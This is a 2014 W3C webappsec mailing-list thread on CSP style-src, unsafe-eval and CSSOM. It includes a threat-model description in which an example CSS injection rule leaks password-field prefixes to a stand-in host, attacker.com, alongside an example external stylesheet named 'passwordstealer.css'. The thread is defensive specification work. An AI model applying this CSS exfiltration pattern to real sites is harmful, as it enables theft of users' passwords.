Re: [CSP] Regarding style-src unsafe-eval and CSSOM

Makes sense to me, thanks for the explanation Jonas, and the patch,
Frederik.

-mike

--
Mike West <mkwst@google.com>
Google+: https://mkw.st/+, Twitter: @mikewest, Cell: +49 162 10 255 91

Google Germany GmbH, Dienerstrasse 12, 80331 München, Germany
Registergericht und -nummer: Hamburg, HRB 86891
Sitz der Gesellschaft: Hamburg
Geschäftsführer: Graham Law, Christine Elizabeth Flores
(Sorry; I'm legally required to add this exciting detail to emails. Bleh.)


On Mon, Sep 1, 2014 at 9:57 AM, Frederik Braun <fbraun@mozilla.com> wrote:

> Thanks for the clarification, Jonas.
>
> I have created issue #50 on GitHub and tried to fix the algorithm
> omission with this pull request: <https://github.com/w3c/webappsec/pull/51
> >
>
>
> On 28.08.2014 20:22, Jonas Sicking wrote:
> > On Thu, Aug 28, 2014 at 2:23 AM, Frederik Braun <fbraun@mozilla.com>
> wrote:
> >>> 'unsafe-eval' protects against CSS modifications from script by
> >>> modifying style though '.style', '.cssText', 'insertRule()' and
> >>> '.selectorText'.
> >
> > This is not actually a description of a threat model. What David was
> > looking for was something like:
> >
> > The goal of CSP with regards to style and CSS is to prevent an
> > attacker from injecting CSS rules which read data from the DOM and
> > submit information to the server. It is also the the goal to prevent
> > the attacker from dramatically affecting the layout of a page such
> > that it's meaning is altered, for example by switching the appearance
> > of a pair of 'yes'/'no' buttons. A secondary purpose is to prevent an
> > attacker from injecting CSS rules which makes the page look, like,
> > *really* ugly. With green and orange shades that don't go together at
> > all.
> >
> > For example, by injecting a rule such as
> > "input[type=password][value^=ab] { background:
> > url(http://attacker.com/pw?startswith=ab) }" the attacker can know
> > that there's a <input type=password> element in the DOM which has a
> > 'value' attribute which starts with 'ab'.
> >
> > Injecting a rule could be done in several ways:
> > * Tricking the server to include markup that contains a <style>
> > element which contains said rule.
> > * Tricking the server to include a <link rel=stylesheet
> > href="http://attacker.com/passwordstealer.css">
> > * Tricking a page which contains JS code like
> > "stylesheets[0].cssRules[0].cssText = 'color:' + someValue;" to use
> > attacker controlled data for someValue.
> >
> > However, in order to actually enable developers to use this aspect of
> > CSP, the intent is to allow pages to block all of the above mentioned
> > attacks, while still permitting the page to do things like:
> >
> > * myElement.style.display = "none"
> > * myElement.style.lineHeight = someFunc();
> > * myElement.bgcolor = someValue;
> >
> > Allowing these still means some level of risk. However very few pages
> > would be able to adopt protection for the mentioned attacks if it also
> > required not using these APIs. And it is hopefully much more clear to
> > the page author what effect it would have to allow a third party data
> > to be used in the above APIs.
> >
> >
> > Such a threat model description would enable more people to not just
> > verify that the spec makes sense, but also help when reviewing
> > implementations of the spec. This since often times the code path in
> > specs doesn't have a direct mapping to code paths in implementations.
> >
> > / Jonas
> >
>
>
>